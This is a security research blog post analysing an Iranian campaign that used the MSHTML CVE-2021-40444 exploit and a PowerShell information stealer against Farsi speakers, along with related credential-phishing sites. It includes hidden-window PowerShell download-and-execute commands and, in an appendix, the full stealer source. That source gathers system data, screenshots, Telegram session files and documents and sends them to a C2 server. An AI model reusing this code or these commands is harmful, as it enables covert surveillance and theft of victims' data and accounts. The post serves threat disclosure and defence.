New PowerShortShell Stealer Exploits Recent Microsoft MSHTML Vulnerability to Spy on Farsi Speakers

byTomer Bar



SafeBreach Labs discovered a new Iranian threat actor using a Microsoft MSHTML Remote Code Execution (RCE) exploit for infecting Farsi-speaking victims with a new PowerShell stealer. The threat actor initiated the attack in mid-September 2021, and it was first reported by ShadowChasing[1] on Twitter. However, the PowerShell Stealer hash/code was not published and was not included in VirusTotal or other public malware repositories.

SafeBreach Labs analyzed the full attack chain, discovered new phishing attacks which started in July this year and achieved the last and most interesting piece of the puzzle - the PowerShell Stealer code - which we named PowerShortShell. The reason we chose this name is due to the fact that the stealer is a PowerShell script, short with powerful collection capabilities - in only ~150 lines, it provides the adversary a lot of critical information including screen captures, telegram files, document collection, and extensive data about the victim’s environment.
Almost half of the victims are located in the United States. Based on the Microsoft Word document content - which blames Iran’s leader for the “Corona massacre” and the nature of the collected data, we assume that the victims might be Iranians who live abroad and might be seen as a threat to Iran's Islamic regime. The adversary might be tied to Iran’s Islamic regime since the Telegram surveillance usage is typical of Iran's threat actors like Infy, Ferocious Kitten, and Rampant Kitten. Surprisingly, the usage of exploits for the infection is quite unique to Iranian threat actors which in most cases heavily rely on social engineering tricks.

In this research, we will explain the attack chain, which includes two different Microsoft Word exploit files, describe the information stealer malware capabilities (the full source code is provided in the appendix), provide a heat map of known victims, and explain the phishing attacks.****

Attack Sequence Overview

First, we will provide an overview of the CVE-2021-40444 exploit’s steps[2][3]:

  1. Step1 - The attack starts by sending a spear phishing mail (with a Winword attachment) that the victim is lured to open.
  2. Step 2 - The Word file connects to the malicious server, executes the malicious html, and then drops a DLL to the %temp% directory.
    1. A relationship stored in the xml file document.xml.rels points to a malicious html on the C2 server: mshtml:http://hr[.]dedyn[.]io/image.html.
    2. The JScript within the HTML contains an object pointing to a CAB file and an iframe pointing to an INF file, prefixed with the ".cpl:" directive.
    3. The CAB file is opened. Due to a directory traversal vulnerability in the CAB, it's possible to store the msword.inf file in %TEMP%.
  3. Step 3 - The malicious DLL executes the PowerShell script.
    1. The INF file is opened with the ".cpl:" directive, causing the side-loading of the INF file via rundll32: for example: '.cpl:../../../../../Temp/Low/msword.inf'.
    2. Msword.inf is a dll downloads and executes the final payload (PowerShell script).
    3. The PowerShell script collects data and exfiltrates it to the attacker’s C2 server.

In the next few sections, we will go over each step and provide additional data and explanations.

Detailed Attack Sequence

First Step - The victims opens a Winword document in Farsi

The first exploit document is called: Mozdor.docx. It includes images of Iranian soldiers. It exploits the CVE-2021-40444 vulnerability.

The second exploit document is: جنایات خامنه ای.docx (Khamenei Crimes.docx). It says:

“One week with Khamenei; Complain against the perpetrators of the Corona massacre, including the leader”

It includes links to the following Iranian news site and Twitter account:

Step 2 - Exploit Microsoft MSHTML Remote Code Execution Vulnerability CVE-2021-40444

The Word files connect to the malicious server, execute the malicious html, and then drop a dll to the %temp% directory. The mozdor.docx file includes an exploit in the file document.xml.rels. It executes mshtml:http://hr[.]dedyn[.]io/image.html, while the second docx executes mshtml:

Word.html executes a dll with an inf extension. It downloads and extracts, which includes a dll with a directory traversal ..\Msword.inf which extracts and is executed by cpl:'.cpl:../../../../../Temp/Low/msword.inf'

Step 3 - The DLL executes PowerShell to download and execute 1.ps1

Msword.inf is the dll used to download and execute PowerShortShell (1.ps1 script file)

powershell.exe -windowstyle hidden (new-object system.Net.WebClient).DownloadFile('', 'C:/windows/temp/1.ps1')

powershell.exe -windowstyle hidden -ExecutionPolicy Unrestricted -File "C:/windows/temp/1.ps1

Final step - PowerShortShell - 1.ps1

The PowerShell code consists of 153 lines which support:


The exploit attack described above started on September 15, 2021. We found that the adversary started two phishing campaigns by collecting credentials for Gmail and Instagram in July 2021 using the same C2 server - Deltaban[.]dedyn[.]io - a phishing HTML page masquerading as the legit travel agency:

This is a phishing site. A click will transfer the victim to an Iranian short URL: https://yun[.]ir/jcccj.

This URL will resolve to signin[.]dedyn[.]io/Social/Google_Finish. The domain was registered in July 2021.

The stolen credentials are stored in the file out.txt, which is of course available for browsing.
One of the victims is probably of Indian origin.

Instagram Phishing

We also found that this site is used for Instagram credential theft: https://signin[.]dedyn[.]io/Social/Instagram/Account. The credentials are saved to the same out.txt file.


The exact victims are unknown but we were able to build a victims heat map.

Appendix A - IOC’s

All of the following resolved to

  1. - C2 and infection server
  2. - phishing
  3. - phishing
  4. - phishing **

1.ps1 - PowerShortShell


Cab file which includes a dll with directory traversal ..\Msword.inf


Msword.inf - dll to download and execute 1.ps1


Jscript - part of the html file


Word.html,image.html,index.html - html file exploit


Document.xml.rels - Xml files 28ad066cfe08fcce77974ef469c32e4d2a762e50d6b95b8569e34199d679bde8

Will download mshtml: and**

Docx infectors**

Mozdor.docx - 0b90ef87dbbb9e6e4a5e5027116d4d7c4bc2824a491292263eb8a7bda8afb7bd
PreviousRelated Research

Appendix B - PowerShortShell Stealer source code

Remove-Item –path C:\Windows\Temp\1.ps1

Add-Type -assembly ""

$source = "C:\windows\temp\8f720a5db6c7"

$destination = ""

$destination2 = ""

$log = "c:\windows\temp\777.log"

function Pos-Da($dest,$url)



$buffer = [System.IO.File]::ReadAllBytes($dest)

[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url)

$webRequest.Timeout =10000000

$webRequest.Method = "POST"

$webRequest.ContentType = "application/data"

$requestStream = $webRequest.GetRequestStream()

$requestStream.Write($buffer, 0, $buffer.Length)



[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()

$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())

$result = $streamReader.ReadToEnd()





Write-Error $_.Exception.Message | out-file $log -Append



function Get-ScreenCapture





begin {

Add-Type -AssemblyName System.Drawing

$jpegCodec = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() |

Where-Object { $_.FormatDescription -eq "JPEG" }


process {

Start-Sleep -Milliseconds 250

if ($OfWindow) {


} else {



Start-Sleep -Milliseconds 250

$bitmap = [Windows.Forms.Clipboard]::GetImage()

$ep = New-Object Drawing.Imaging.EncoderParameters

$ep.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, [long]100)

$screenCapturePathBase = "$source\ScreenCapture"

$c = 0

while (Test-Path "${screenCapturePathBase}${c}.jpg") {



$bitmap.Save("${screenCapturePathBase}${c}.jpg", $jpegCodec, $ep)



New-Item -ItemType directory -Path $source

Get-WmiObject -class win32_computersystem | Out-File $source\summary.txt

Get-WmiObject Win32_BIOS -computerName localhost | Out-File $source\bios.txt;

Get-WmiObject -Class “win32_PhysicalMemory” -namespace “root\CIMV2” | Out-File $source\ram.txt;

@(Get-WmiObject -class win32_processor | Select Caption, Description, NumberOfCores, NumberOfLogicalProcessors, Name, Manufacturer, SystemCreationClassName, Version) | Out-File $source\cpu.txt;

gwmi Win32NetworkAdapterConfiguration | Where { $.IPAddress } | Select -Expand IPAddress | Out-File $source\ip.txt;

gwmi Win32_NetworkAdapterConfiguration | Out-File $source\NetworkAdapterConfig.txt;

get-WmiObject win32_logicaldisk | Out-File $source\disk.txt;

Get-Process | Out-File -filepath $source\process.txt;

Get-NetAdapter | Out-File $source\NetworkAdapter.txt;

#net view | Out-File $source\NetView.txt;

Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSize | Out-File $source\apps.txt;

ipconfig /all | Out-File $source\ipConfig.txt;

netstat -ano | Out-File $source\netstat.txt;

arp -a -v | Out-File $source\arp.txt;

net user | Out-File $source\netuser.txt;

Get-CimInstance Win32_OperatingSystem | FL * | Out-File $source\os.txt;

Get-ExecutionPolicy -List | Out-File $source\policy.txt;

Get-Service | Out-File $source\service.txt;


$files = Get-ChildItem $source

foreach ($file in $files)


Pos-Da -dest $file.FullName -url "$destination+$file"


$path= Split-Path -Path (Get-WMIObject Win32LogicalDisk -filter "DriveType = 3" | Select-Object DeviceID | ForEach-Object {Get-Childitem ($.DeviceID + "\") -Attributes !Directory,!Directory+Hidden -include Telegram.exe -recurse})


foreach ($a in $path)



$tempDwn="C:\windows\temp\tdata{0}" -f $index

New-Item -ItemType Directory -Force -Path $tempDwn"\D877F783D5D3EF8C"

$source= $a+"\tdata\D877F783D5D3EF8C"

if(Test-Path -Path $source)


$d8files=Get-ChildItem -Path $source | Where-Object {$_.Name.Contains("map")} | select FullName, Name

foreach($d8 in $d8files)


$mtemp="{0}\D877F783D5D3EF8C\{1}" -f $tempDwn, $d8.Name

Copy-Item $d8.FullName -Destination $mtemp


else {



$tempFiles=Get-ChildItem -Path $a"\tdata" | Where-Object {$_.PSIsContainer -eq $false} | select FullName, Name

foreach ($file in $tempFiles)




$destTemp="{0}\{1}" -f $tempDwn, $file.Name

Copy-Item $file.FullName -Destination $destTemp




echo $tempDwn

$dest="C:\windows\temp\tdata{0}.zip" -f $index

[io.compression.zipfile]::CreateFromDirectory($tempDwn, $dest)

Start-Sleep -s 15

Pos-Da -dest $dest -url $destination2




Write-Error $_.Exception.Message | out-file $log -Append



Start-Sleep -s 15

Remove-Item –path $dest

Remove-Item –path $tempDwn -Recurse


$files = (Get-WMIObject Win32LogicalDisk -filter "DriveType = 3" | Select-Object DeviceID | ForEach-Object {Get-Childitem ($.DeviceID + "\") -include .doc,.docx,.pptx,.pdf,.txt,.xls,.xlsx,.bak,.db,.mdb,*.accdb -recurse})

foreach ($file in $files)


$destUrl="{0}{1}" -f $destination, $file.Name

Pos-Da -dest $file.FullName -url $destUrl

Start-Sleep -s 5


Remove-Item –path $source -Recurse

Remove-Item -path $log






  • 111 W Evelyn Ave
  • Sunnyvale, CA94086
  • USA
  • 408-743-5279

R&D Center

  • Yosef Karo St 18
  • Tel Aviv-Yafo,
  • Israel
  • +972-77-434-4506
© SafeBreach Inc. 2021